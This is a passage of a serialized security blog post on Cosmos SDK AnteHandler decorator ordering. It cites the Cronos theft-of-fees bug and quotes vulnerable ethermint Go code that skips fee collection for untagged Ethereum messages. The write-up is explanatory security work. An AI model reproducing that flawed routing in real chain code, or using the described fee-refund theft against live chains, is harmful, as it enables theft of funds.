NewSetPubKeyDecorator",{"type":21,"tag":198,"props":79884,"children":79885},{"style":211},[79886],{"type":27,"value":706},{"type":21,"tag":198,"props":79888,"children":79889},{"style":226},[79890],{"type":27,"value":36812},{"type":21,"tag":198,"props":79892,"children":79893},{"style":211},[79894],{"type":27,"value":658},{"type":21,"tag":198,"props":79896,"children":79897},{"style":226},[79898],{"type":27,"value":79763},{"type":21,"tag":198,"props":79900,"children":79901},{"style":211},[79902],{"type":27,"value":15982},{"type":21,"tag":198,"props":79904,"children":79905},{"style":1233},[79906],{"type":27,"value":79907},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":21,"tag":198,"props":79909,"children":79910},{"class":200,"line":408},[79911,79916,79920,79924,79928,79932],{"type":21,"tag":198,"props":79912,"children":79913},{"style":698},[79914],{"type":27,"value":79915}," NewValidateSigCountDecorator",{"type":21,"tag":198,"props":79917,"children":79918},{"style":211},[79919],{"type":27,"value":706},{"type":21,"tag":198,"props":79921,"children":79922},{"style":226},[79923],{"type":27,"value":36812},{"type":21,"tag":198,"props":79925,"children":79926},{"style":211},[79927],{"type":27,"value":658},{"type":21,"tag":198,"props":79929,"children":79930},{"style":226},[79931],{"type":27,"value":79763},{"type":21,"tag":198,"props":79933,"children":79934},{"style":211},[79935],{"type":27,"value":7548},{"type":21,"tag":198,"props":79937,"children":79938},{"class":200,"line":429},[79939,79944,79948,79952,79956,79960,79964,79968,79972,79977],{"type":21,"tag":198,"props":79940,"children":79941},{"style":698},[79942],{"type":27,"value":79943}," NewSigGasConsumeDecorator",{"type":21,"tag":198,"props":79945,"children":79946},{"style":211},[79947],{"type":27,"value":706},{"type":21,"tag":198,"props":79949,"children":79950},{"style":226},[79951],{"type":27,"value":36812},{"type":21,"tag":198,"props":79953,"children":79954},{"style":211},[79955],{"type":27,"value":658},{"type":21,"tag":198,"props":79957,"children":79958},{"style":226},[79959],{"type":27,"value":79763},{"type":21,"tag":198,"props":79961,"children":79962},{"style":211},[79963],{"type":27,"value":828},{"type":21,"tag":198,"props":79965,"children":79966},{"style":226},[79967],{"type":27,"value":36812},{"type":21,"tag":198,"props":79969,"children":79970},{"style":211},[79971],{"type":27,"value":658},{"type":21,"tag":198,"props":79973,"children":79974},{"style":226},[79975],{"type":27,"value":79976},"SigGasConsumer",{"type":21,"tag":198,"props":79978,"children":79979},{"style":211},[79980],{"type":27,"value":7548},{"type":21,"tag":198,"props":79982,"children":79983},{"class":200,"line":450},[79984,79989,79993,79997,80001,80005,80009,80013,80017,80022],{"type":21,"tag":198,"props":79985,"children":79986},{"style":698},[79987],{"type":27,"value":79988}," NewSigVerificationDecorator",{"type":21,"tag":198,"props":79990,"children":79991},{"style":211},[79992],{"type":27,"value":706},{"type":21,"tag":198,"props":79994,"children":79995},{"style":226},[79996],{"type":27,"value":36812},{"type":21,"tag":198,"props":79998,"children":79999},{"style":211},[80000],{"type":27,"value":658},{"type":21,"tag":198,"props":80002,"children":80003},{"style":226},[80004],{"type":27,"value":79763},{"type":21,"tag":198,"props":80006,"children":80007},{"style":211},[80008],{"type":27,"value":828},{"type":21,"tag":198,"props":80010,"children":80011},{"style":226},[80012],{"type":27,"value":36812},{"type":21,"tag":198,"props":80014,"children":80015},{"style":211},[80016],{"type":27,"value":658},{"type":21,"tag":198,"props":80018,"children":80019},{"style":226},[80020],{"type":27,"value":80021},"SignModeHandler",{"type":21,"tag":198,"props":80023,"children":80024},{"style":211},[80025],{"type":27,"value":7548},{"type":21,"tag":198,"props":80027,"children":80028},{"class":200,"line":468},[80029,80034,80038,80042,80046,80050],{"type":21,"tag":198,"props":80030,"children":80031},{"style":698},[80032],{"type":27,"value":80033}," NewIncrementSequenceDecorator",{"type":21,"tag":198,"props":80035,"children":80036},{"style":211},[80037],{"type":27,"value":706},{"type":21,"tag":198,"props":80039,"children":80040},{"style":226},[80041],{"type":27,"value":36812},{"type":21,"tag":198,"props":80043,"children":80044},{"style":211},[80045],{"type":27,"value":658},{"type":21,"tag":198,"props":80047,"children":80048},{"style":226},[80049],{"type":27,"value":79763},{"type":21,"tag":198,"props":80051,"children":80052},{"style":211},[80053],{"type":27,"value":7548},{"type":21,"tag":198,"props":80055,"children":80056},{"class":200,"line":477},[80057],{"type":21,"tag":198,"props":80058,"children":80059},{"style":211},[80060],{"type":27,"value":1120},{"type":21,"tag":30,"props":80062,"children":80063},{},[80064,80066,80071,80073,80079,80080,80086],{"type":27,"value":80065},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":21,"tag":194,"props":80067,"children":80069},{"className":80068},[],[80070],{"type":27,"value":79601},{"type":27,"value":80072},", such as ",{"type":21,"tag":194,"props":80074,"children":80076},{"className":80075},[],[80077],{"type":27,"value":80078},"SigGasConsumeDecorator",{"type":27,"value":11801},{"type":21,"tag":194,"props":80081,"children":80083},{"className":80082},[],[80084],{"type":27,"value":80085},"ConsumeGasForTxSizeDecorator",{"type":27,"value":80087},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":21,"tag":30,"props":80089,"children":80090},{},[80091,80093,80099,80101,80106],{"type":27,"value":80092},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":21,"tag":194,"props":80094,"children":80096},{"className":80095},[],[80097],{"type":27,"value":80098},"msgs",{"type":27,"value":80100}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":21,"tag":194,"props":80102,"children":80104},{"className":80103},[],[80105],{"type":27,"value":78927},{"type":27,"value":80107}," chain.",{"type":21,"tag":59,"props":80109,"children":80111},{"id":80110},"real-world-examples-2",[80112],{"type":27,"value":77071},{"type":21,"tag":30,"props":80114,"children":80115},{},[80116,80118,80123,80125,80132],{"type":27,"value":80117},"An instance of ",{"type":21,"tag":194,"props":80119,"children":80121},{"className":80120},[],[80122],{"type":27,"value":78852},{"type":27,"value":80124}," misuse is a ",{"type":21,"tag":34,"props":80126,"children":80129},{"href":80127,"rel":80128},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[38],[80130],{"type":27,"value":80131},"Theft of Fund bug",{"type":27,"value":80133}," that was exploited in a Cronos contract.",{"type":21,"tag":30,"props":80135,"children":80136},{},[80137,80139,80144,80146,80151,80153,80159,80161,80167,80169,80174,80176,80181],{"type":27,"value":80138},"In this scenario, ",{"type":21,"tag":194,"props":80140,"children":80142},{"className":80141},[],[80143],{"type":27,"value":80098},{"type":27,"value":80145}," are multiplexed to different ",{"type":21,"tag":194,"props":80147,"children":80149},{"className":80148},[],[80150],{"type":27,"value":78852},{"type":27,"value":80152}," sets through the user-controlled ",{"type":21,"tag":194,"props":80154,"children":80156},{"className":80155},[],[80157],{"type":27,"value":80158},"ExtensionOptionsEthereumTx",{"type":27,"value":80160}," option. However, due to a lack of tx validation, if a ",{"type":21,"tag":194,"props":80162,"children":80164},{"className":80163},[],[80165],{"type":27,"value":80166},"MsgEthereumTx",{"type":27,"value":80168}," does not have ",{"type":21,"tag":194,"props":80170,"children":80172},{"className":80171},[],[80173],{"type":27,"value":80158},{"type":27,"value":80175}," specified, it will be routed to non-Ethereum ",{"type":21,"tag":194,"props":80177,"children":80179},{"className":80178},[],[80180],{"type":27,"value":79601},{"type":27,"value":80182},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":21,"tag":30,"props":80184,"children":80185},{},[80186],{"type":21,"tag":34,"props":80187,"children":80190},{"href":80188,"rel":80189},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[38],[80191],{"type":27,"value":77121},{"type":21,"tag":187,"props":80193,"children":80195},{"code":80194,"language":76546,"meta":7,"className":76547,"style":7},"func NewAnteHandler(\n ak evmtypes.AccountKeeper,\n bankKeeper evmtypes.BankKeeper,\n evmKeeper EVMKeeper,\n feeGrantKeeper authante.FeegrantKeeper,\n channelKeeper channelkeeper.Keeper,\n signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n return func(\n ctx sdk.Context, tx sdk.Tx, sim bool,\n ) (newCtx sdk.Context, err error) {\n var anteHandler sdk.AnteHandler\n\n defer Recover(ctx.Logger(), &err)\n\n txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n if ok {\n opts := txWithExtensions.GetExtensionOptions()\n if len(opts) > 0 {\n switch typeURL := opts[0].GetTypeUrl(); typeURL {\n case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n // handle as *evmtypes.MsgEthereumTx\n\n anteHandler = sdk.ChainAnteDecorators(\n NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n )\n\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n \"rejecting tx with unsupported extension option\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n }\n\n // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n switch tx.(type) {\n case sdk.Tx:\n anteHandler = sdk.ChainAnteDecorators(\n authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n )\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n \"transaction is not an SDK tx\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n}\n",[80196],{"type":21,"tag":194,"props":80197,"children":80198},{"__ignoreMap":7},[80199,80215,80240,80264,80281,80306,80332,80357,80380,80396,80452,80493,80519,80526,80572,80579,80625,80641,80671,80706,80758,80775,80783,80790,80819,80835,80843,80869,80877,80884,80896,80930,80976,80988,80995,81002,81009,81048,81055,81062,81069,81077,81084,81108,81132,81160,81185,81193,81226,81233,81245,81276,81331,81344,81352,81360,81368,81408,81416],{"type":21,"tag":198,"props":80200,"children":80201},{"class":200,"line":201},[80202,80206,80211],{"type":21,"tag":198,"props":80203,"children":80204},{"style":249},[80205],{"type":27,"value":76682},{"type":21,"tag":198,"props":80207,"children":80208},{"style":698},[80209],{"type":27,"value":80210}," NewAnteHandler",{"type":21,"tag":198,"props":80212,"children":80213},{"style":211},[80214],{"type":27,"value":4268},{"type":21,"tag":198,"props":80216,"children":80217},{"class":200,"line":217},[80218,80223,80228,80232,80236],{"type":21,"tag":198,"props":80219,"children":80220},{"style":226},[80221],{"type":27,"value":80222}," ak",{"type":21,"tag":198,"props":80224,"children":80225},{"style":1966},[80226],{"type":27,"value":80227}," evmtypes",{"type":21,"tag":198,"props":80229,"children":80230},{"style":211},[80231],{"type":27,"value":658},{"type":21,"tag":198,"props":80233,"children":80234},{"style":1966},[80235],{"type":27,"value":79763},{"type":21,"tag":198,"props":80237,"children":80238},{"style":211},[80239],{"type":27,"value":257},{"type":21,"tag":198,"props":80241,"children":80242},{"class":200,"line":236},[80243,80248,80252,80256,80260],{"type":21,"tag":198,"props":80244,"children":80245},{"style":226},[80246],{"type":27,"value":80247}," bankKeeper",{"type":21,"tag":198,"props":80249,"children":80250},{"style":1966},[80251],{"type":27,"value":80227},{"type":21,"tag":198,"props":80253,"children":80254},{"style":211},[80255],{"type":27,"value":658},{"type":21,"tag":198,"props":80257,"children":80258},{"style":1966},[80259],{"type":27,"value":79836},{"type":21,"tag":198,"props":80261,"children":80262},{"style":211},[80263],{"type":27,"value":257},{"type":21,"tag":198,"props":80265,"children":80266},{"class":200,"line":260},[80267,80272,80277],{"type":21,"tag":198,"props":80268,"children":80269},{"style":226},[80270],{"type":27,"value":80271}," evmKeeper",{"type":21,"tag":198,"props":80273,"children":80274},{"style":1966},[80275],{"type":27,"value":80276}," EVMKeeper",{"type":21,"tag":198,"props":80278,"children":80279},{"style":211},[80280],{"type":27,"value":257},{"type":21,"tag":198,"props":80282,"children":80283},{"class":200,"line":281},[80284,80289,80294,80298,80302],{"type":21,"tag":198,"props":80285,"children":80286},{"style":226},[80287],{"type":27,"value":80288}," feeGrantKeeper",{"type":21,"tag":198,"props":80290,"children":80291},{"style":1966},[80292],{"type":27,"value":80293}," authante",{"type":21,"tag":198,"props":80295,"children":80296},{"style":211},[80297],{"type":27,"value":658},{"type":21,"tag":198,"props":80299,"children":80300},{"style":1966},[80301],{"type":27,"value":79853},{"type":21,"tag":198,"props":80303,"children":80304},{"style":211},[80305],{"type":27,"value":257},{"type":21,"tag":198,"props":80307,"children":80308},{"class":200,"line":302},[80309,80314,80319,80323,80328],{"type":21,"tag":198,"props":80310,"children":80311},{"style":226},[80312],{"type":27,"value":80313}," channelKeeper",{"type":21,"tag":198,"props":80315,"children":80316},{"style":1966},[80317],{"type":27,"value":80318}," channelkeeper",{"type":21,"tag":198,"props":80320,"children":80321},{"style":211},[80322],{"type":27,"value":658},{"type":21,"tag":198,"props":80324,"children":80325},{"style":1966},[80326],{"type":27,"value":80327},"Keeper",{"type":21,"tag":198,"props":80329,"children":80330},{"style":211},[80331],{"type":27,"value":257},{"type":21,"tag":198,"props":80333,"children":80334},{"class":200,"line":323},[80335,80340,80345,80349,80353],{"type":21,"tag":198,"props":80336,"children":80337},{"style":226},[80338],{"type":27,"value":80339}," signModeHandler",{"type":21,"tag":198,"props":80341,"children":80342},{"style":1966},[80343],{"type":27,"value":80344}," authsigning",{"type":21,"tag":198,"props":80346,"children":80347},{"style":211},[80348],{"type":27,"value":658},{"type":21,"tag":198,"props":80350,"children":80351},{"style":1966},[80352],{"type":27,"value":80021},{"type":21,"tag":198,"props":80354,"children":80355},{"style":211},[80356],{"type":27,"value":257},{"type":21,"tag":198,"props":80358,"children":80359},{"class":200,"line":344},[80360,80364,80368,80372,80376],{"type":21,"tag":198,"props":80361,"children":80362},{"style":211},[80363],{"type":27,"value":1541},{"type":21,"tag":198,"props":80365,"children":80366},{"style":1966},[80367],{"type":27,"value":79112},{"type":21,"tag":198,"props":80369,"children":80370},{"style":211},[80371],{"type":27,"value":658},{"type":21,"tag":198,"props":80373,"children":80374},{"style":1966},[80375],{"type":27,"value":78852},{"type":21,"tag":198,"props":80377,"children":80378},{"style":211},[80379],{"type":27,"value":233},{"type":21,"tag":198,"props":80381,"children":80382},{"class":200,"line":365},[80383,80387,80392],{"type":21,"tag":198,"props":80384,"children":80385},{"style":640},[80386],{"type":27,"value":1478},{"type":21,"tag":198,"props":80388,"children":80389},{"style":249},[80390],{"type":27,"value":80391}," func",{"type":21,"tag":198,"props":80393,"children":80394},{"style":211},[80395],{"type":27,"value":4268},{"type":21,"tag":198,"props":80397,"children":80398},{"class":200,"line":386},[80399,80403,80407,80411,80415,80419,80423,80427,80431,80435,80439,80444,80448],{"type":21,"tag":198,"props":80400,"children":80401},{"style":226},[80402],{"type":27,"value":26990},{"type":21,"tag":198,"props":80404,"children":80405},{"style":1966},[80406],{"type":27,"value":79023},{"type":21,"tag":198,"props":80408,"children":80409},{"style":211},[80410],{"type":27,"value":658},{"type":21,"tag":198,"props":80412,"children":80413},{"style":1966},[80414],{"type":27,"value":76731},{"type":21,"tag":198,"props":80416,"children":80417},{"style":211},[80418],{"type":27,"value":828},{"type":21,"tag":198,"props":80420,"children":80421},{"style":226},[80422],{"type":27,"value":79563},{"type":21,"tag":198,"props":80424,"children":80425},{"style":1966},[80426],{"type":27,"value":79023},{"type":21,"tag":198,"props":80428,"children":80429},{"style":211},[80430],{"type":27,"value":658},{"type":21,"tag":198,"props":80432,"children":80433},{"style":1966},[80434],{"type":27,"value":79056},{"type":21,"tag":198,"props":80436,"children":80437},{"style":211},[80438],{"type":27,"value":828},{"type":21,"tag":198,"props":80440,"children":80441},{"style":226},[80442],{"type":27,"value":80443},"sim",{"type":21,"tag":198,"props":80445,"children":80446},{"style":1966},[80447],{"type":27,"value":12860},{"type":21,"tag":198,"props":80449,"children":80450},{"style":211},[80451],{"type":27,"value":257},{"type":21,"tag":198,"props":80453,"children":80454},{"class":200,"line":408},[80455,80460,80465,80469,80473,80477,80481,80485,80489],{"type":21,"tag":198,"props":80456,"children":80457},{"style":211},[80458],{"type":27,"value":80459}," ) (",{"type":21,"tag":198,"props":80461,"children":80462},{"style":226},[80463],{"type":27,"value":80464},"newCtx",{"type":21,"tag":198,"props":80466,"children":80467},{"style":1966},[80468],{"type":27,"value":79023},{"type":21,"tag":198,"props":80470,"children":80471},{"style":211},[80472],{"type":27,"value":658},{"type":21,"tag":198,"props":80474,"children":80475},{"style":1966},[80476],{"type":27,"value":76731},{"type":21,"tag":198,"props":80478,"children":80479},{"style":211},[80480],{"type":27,"value":828},{"type":21,"tag":198,"props":80482,"children":80483},{"style":226},[80484],{"type":27,"value":1507},{"type":21,"tag":198,"props":80486,"children":80487},{"style":1966},[80488],{"type":27,"value":15681},{"type":21,"tag":198,"props":80490,"children":80491},{"style":211},[80492],{"type":27,"value":668},{"type":21,"tag":198,"props":80494,"children":80495},{"class":200,"line":429},[80496,80501,80506,80510,80514],{"type":21,"tag":198,"props":80497,"children":80498},{"style":249},[80499],{"type":27,"value":80500}," var",{"type":21,"tag":198,"props":80502,"children":80503},{"style":226},[80504],{"type":27,"value":80505}," anteHandler",{"type":21,"tag":198,"props":80507,"children":80508},{"style":1966},[80509],{"type":27,"value":79023},{"type":21,"tag":198,"props":80511,"children":80512},{"style":211},[80513],{"type":27,"value":658},{"type":21,"tag":198,"props":80515,"children":80516},{"style":1966},[80517],{"type":27,"value":80518},"AnteHandler\n",{"type":21,"tag":198,"props":80520,"children":80521},{"class":200,"line":450},[80522],{"type":21,"tag":198,"props":80523,"children":80524},{"emptyLinePlaceholder":16},[80525],{"type":27,"value":1283},{"type":21,"tag":198,"props":80527,"children":80528},{"class":200,"line":468},[80529,80534,80539,80543,80547,80551,80556,80560,80564,80568],{"type":21,"tag":198,"props":80530,"children":80531},{"style":640},[80532],{"type":27,"value":80533}," defer",{"type":21,"tag":198,"props":80535,"children":80536},{"style":698},[80537],{"type":27,"value":80538}," Recover",{"type":21,"tag":198,"props":80540,"children":80541},{"style":211},[80542],{"type":27,"value":706},{"type":21,"tag":198,"props":80544,"children":80545},{"style":226},[80546],{"type":27,"value":21075},{"type":21,"tag":198,"props":80548,"children":80549},{"style":211},[80550],{"type":27,"value":658},{"type":21,"tag":198,"props":80552,"children":80553},{"style":698},[80554],{"type":27,"value":80555},"Logger",{"type":21,"tag":198,"props":80557,"children":80558},{"style":211},[80559],{"type":27,"value":19178},{"type":21,"tag":198,"props":80561,"children":80562},{"style":683},[80563],{"type":27,"value":3917},{"type":21,"tag":198,"props":80565,"children":80566},{"style":226},[80567],{"type":27,"value":1507},{"type":21,"tag":198,"props":80569,"children":80570},{"style":211},[80571],{"type":27,"value":789},{"type":21,"tag":198,"props":80573,"children":80574},{"class":200,"line":477},[80575],{"type":21,"tag":198,"props":80576,"children":80577},{"emptyLinePlaceholder":16},[80578],{"type":27,"value":1283},{"type":21,"tag":198,"props":80580,"children":80581},{"class":200,"line":494},[80582,80587,80591,80595,80599,80603,80607,80612,80616,80621],{"type":21,"tag":198,"props":80583,"children":80584},{"style":226},[80585],{"type":27,"value":80586}," txWithExtensions",{"type":21,"tag":198,"props":80588,"children":80589},{"style":211},[80590],{"type":27,"value":828},{"type":21,"tag":198,"props":80592,"children":80593},{"style":226},[80594],{"type":27,"value":79149},{"type":21,"tag":198,"props":80596,"children":80597},{"style":683},[80598],{"type":27,"value":76798},{"type":21,"tag":198,"props":80600,"children":80601},{"style":226},[80602],{"type":27,"value":68407},{"type":21,"tag":198,"props":80604,"children":80605},{"style":211},[80606],{"type":27,"value":79162},{"type":21,"tag":198,"props":80608,"children":80609},{"style":1966},[80610],{"type":27,"value":80611},"authante",{"type":21,"tag":198,"props":80613,"children":80614},{"style":211},[80615],{"type":27,"value":658},{"type":21,"tag":198,"props":80617,"children":80618},{"style":1966},[80619],{"type":27,"value":80620},"HasExtensionOptionsTx",{"type":21,"tag":198,"props":80622,"children":80623},{"style":211},[80624],{"type":27,"value":789},{"type":21,"tag":198,"props":80626,"children":80627},{"class":200,"line":515},[80628,80632,80637],{"type":21,"tag":198,"props":80629,"children":80630},{"style":640},[80631],{"type":27,"value":4079},{"type":21,"tag":198,"props":80633,"children":80634},{"style":226},[80635],{"type":27,"value":80636}," ok",{"type":21,"tag":198,"props":80638,"children":80639},{"style":211},[80640],{"type":27,"value":233},{"type":21,"tag":198,"props":80642,"children":80643},{"class":200,"line":4484},[80644,80649,80653,80658,80662,80667],{"type":21,"tag":198,"props":80645,"children":80646},{"style":226},[80647],{"type":27,"value":80648}," opts",{"type":21,"tag":198,"props":80650,"children":80651},{"style":683},[80652],{"type":27,"value":76798},{"type":21,"tag":198,"props":80654,"children":80655},{"style":226},[80656],{"type":27,"value":80657}," txWithExtensions",{"type":21,"tag":198,"props":80659,"children":80660},{"style":211},[80661],{"type":27,"value":658},{"type":21,"tag":198,"props":80663,"children":80664},{"style":698},[80665],{"type":27,"value":80666},"GetExtensionOptions",{"type":21,"tag":198,"props":80668,"children":80669},{"style":211},[80670],{"type":27,"value":1837},{"type":21,"tag":198,"props":80672,"children":80673},{"class":200,"line":4493},[80674,80678,80682,80686,80690,80694,80698,80702],{"type":21,"tag":198,"props":80675,"children":80676},{"style":640},[80677],{"type":27,"value":59178},{"type":21,"tag":198,"props":80679,"children":80680},{"style":698},[80681],{"type":27,"value":9368},{"type":21,"tag":198,"props":80683,"children":80684},{"style":211},[80685],{"type":27,"value":706},{"type":21,"tag":198,"props":80687,"children":80688},{"style":226},[80689],{"type":27,"value":1653},{"type":21,"tag":198,"props":80691,"children":80692},{"style":211},[80693],{"type":27,"value":1541},{"type":21,"tag":198,"props":80695,"children":80696},{"style":683},[80697],{"type":27,"value":11270},{"type":21,"tag":198,"props":80699,"children":80700},{"style":2540},[80701],{"type":27,"value":3855},{"type":21,"tag":198,"props":80703,"children":80704},{"style":211},[80705],{"type":27,"value":233},{"type":21,"tag":198,"props":80707,"children":80708},{"class":200,"line":4561},[80709,80714,80719,80723,80728,80732,80736,80740,80745,80749,80754],{"type":21,"tag":198,"props":80710,"children":80711},{"style":640},[80712],{"type":27,"value":80713}," switch",{"type":21,"tag":198,"props":80715,"children":80716},{"style":226},[80717],{"type":27,"value":80718}," typeURL",{"type":21,"tag":198,"props":80720,"children":80721},{"style":683},[80722],{"type":27,"value":76798},{"type":21,"tag":198,"props":80724,"children":80725},{"style":226},[80726],{"type":27,"value":80727}," opts",{"type":21,"tag":198,"props":80729,"children":80730},{"style":211},[80731],{"type":27,"value":2051},{"type":21,"tag":198,"props":80733,"children":80734},{"style":2540},[80735],{"type":27,"value":3482},{"type":21,"tag":198,"props":80737,"children":80738},{"style":211},[80739],{"type":27,"value":3487},{"type":21,"tag":198,"props":80741,"children":80742},{"style":698},[80743],{"type":27,"value":80744},"GetTypeUrl",{"type":21,"tag":198,"props":80746,"children":80747},{"style":211},[80748],{"type":27,"value":29252},{"type":21,"tag":198,"props":80750,"children":80751},{"style":226},[80752],{"type":27,"value":80753},"typeURL",{"type":21,"tag":198,"props":80755,"children":80756},{"style":211},[80757],{"type":27,"value":233},{"type":21,"tag":198,"props":80759,"children":80760},{"class":200,"line":4569},[80761,80766,80771],{"type":21,"tag":198,"props":80762,"children":80763},{"style":640},[80764],{"type":27,"value":80765}," case",{"type":21,"tag":198,"props":80767,"children":80768},{"style":205},[80769],{"type":27,"value":80770}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":21,"tag":198,"props":80772,"children":80773},{"style":211},[80774],{"type":27,"value":6381},{"type":21,"tag":198,"props":80776,"children":80777},{"class":200,"line":4599},[80778],{"type":21,"tag":198,"props":80779,"children":80780},{"style":1233},[80781],{"type":27,"value":80782}," // handle as *evmtypes.MsgEthereumTx\n",{"type":21,"tag":198,"props":80784,"children":80785},{"class":200,"line":4607},[80786],{"type":21,"tag":198,"props":80787,"children":80788},{"emptyLinePlaceholder":16},[80789],{"type":27,"value":1283},{"type":21,"tag":198,"props":80791,"children":80792},{"class":200,"line":4638},[80793,80798,80802,80806,80810,80815],{"type":21,"tag":198,"props":80794,"children":80795},{"style":226},[80796],{"type":27,"value":80797}," anteHandler",{"type":21,"tag":198,"props":80799,"children":80800},{"style":683},[80801],{"type":27,"value":979},{"type":21,"tag":198,"props":80803,"children":80804},{"style":226},[80805],{"type":27,"value":79023},{"type":21,"tag":198,"props":80807,"children":80808},{"style":211},[80809],{"type":27,"value":658},{"type":21,"tag":198,"props":80811,"children":80812},{"style":698},[80813],{"type":27,"value":80814},"ChainAnteDecorators",{"type":21,"tag":198,"props":80816,"children":80817},{"style":211},[80818],{"type":27,"value":4268},{"type":21,"tag":198,"props":80820,"children":80821},{"class":200,"line":4646},[80822,80827,80831],{"type":21,"tag":198,"props":80823,"children":80824},{"style":698},[80825],{"type":27,"value":80826}," NewEthSetUpContextDecorator",{"type":21,"tag":198,"props":80828,"children":80829},{"style":211},[80830],{"type":27,"value":19178},{"type":21,"tag":198,"props":80832,"children":80833},{"style":1233},[80834],{"type":27,"value":79677},{"type":21,"tag":198,"props":80836,"children":80837},{"class":200,"line":4706},[80838],{"type":21,"tag":198,"props":80839,"children":80840},{"style":683},[80841],{"type":27,"value":80842}," ...\n",{"type":21,"tag":198,"props":80844,"children":80845},{"class":200,"line":9857},[80846,80851,80855,80860,80864],{"type":21,"tag":198,"props":80847,"children":80848},{"style":698},[80849],{"type":27,"value":80850}," NewEthIncrementSenderSequenceDecorator",{"type":21,"tag":198,"props":80852,"children":80853},{"style":211},[80854],{"type":27,"value":706},{"type":21,"tag":198,"props":80856,"children":80857},{"style":226},[80858],{"type":27,"value":80859},"ak",{"type":21,"tag":198,"props":80861,"children":80862},{"style":211},[80863],{"type":27,"value":15982},{"type":21,"tag":198,"props":80865,"children":80866},{"style":1233},[80867],{"type":27,"value":80868},"// innermost AnteDecorator.\n",{"type":21,"tag":198,"props":80870,"children":80871},{"class":200,"line":9875},[80872],{"type":21,"tag":198,"props":80873,"children":80874},{"style":211},[80875],{"type":27,"value":80876}," )\n",{"type":21,"tag":198,"props":80878,"children":80879},{"class":200,"line":9920},[80880],{"type":21,"tag":198,"props":80881,"children":80882},{"emptyLinePlaceholder":16},[80883],{"type":27,"value":1283},{"type":21,"tag":198,"props":80885,"children":80886},{"class":200,"line":10026},[80887,80892],{"type":21,"tag":198,"props":80888,"children":80889},{"style":640},[80890],{"type":27,"value":80891}," default",{"type":21,"tag":198,"props":80893,"children":80894},{"style":211},[80895],{"type":27,"value":6381},{"type":21,"tag":198,"props":80897,"children":80898},{"class":200,"line":24302},[80899,80904,80908,80912,80917,80921,80926],{"type":21,"tag":198,"props":80900,"children":80901},{"style":640},[80902],{"type":27,"value":80903}," return",{"type":21,"tag":198,"props":80905,"children":80906},{"style":226},[80907],{"type":27,"value":26647},{"type":21,"tag":198,"props":80909,"children":80910},{"style":211},[80911],{"type":27,"value":828},{"type":21,"tag":198,"props":80913,"children":80914},{"style":226},[80915],{"type":27,"value":80916},"stacktrace",{"type":21,"tag":198,"props":80918,"children":80919},{"style":211},[80920],{"type":27,"value":658},{"type":21,"tag":198,"props":80922,"children":80923},{"style":698},[80924],{"type":27,"value":80925},"Propagate",{"type":21,"tag":198,"props":80927,"children":80928},{"style":211},[80929],{"type":27,"value":4268},{"type":21,"tag":198,"props":80931,"children":80932},{"class":200,"line":24337},[80933,80938,80942,80946,80950,80955,80959,80964,80968,80972],{"type":21,"tag":198,"props":80934,"children":80935},{"style":226},[80936],{"type":27,"value":80937}," sdkerrors",{"type":21,"tag":198,"props":80939,"children":80940},{"style":211},[80941],{"type":27,"value":658},{"type":21,"tag":198,"props":80943,"children":80944},{"style":698},[80945],{"type":27,"value":79228},{"type":21,"tag":198,"props":80947,"children":80948},{"style":211},[80949],{"type":27,"value":706},{"type":21,"tag":198,"props":80951,"children":80952},{"style":226},[80953],{"type":27,"value":80954},"sdkerrors",{"type":21,"tag":198,"props":80956,"children":80957},{"style":211},[80958],{"type":27,"value":658},{"type":21,"tag":198,"props":80960,"children":80961},{"style":226},[80962],{"type":27,"value":80963},"ErrUnknownExtensionOptions",{"type":21,"tag":198,"props":80965,"children":80966},{"style":211},[80967],{"type":27,"value":828},{"type":21,"tag":198,"props":80969,"children":80970},{"style":226},[80971],{"type":27,"value":80753},{"type":21,"tag":198,"props":80973,"children":80974},{"style":211},[80975],{"type":27,"value":7548},{"type":21,"tag":198,"props":80977,"children":80978},{"class":200,"line":24345},[80979,80984],{"type":21,"tag":198,"props":80980,"children":80981},{"style":205},[80982],{"type":27,"value":80983}," \"rejecting tx with unsupported extension 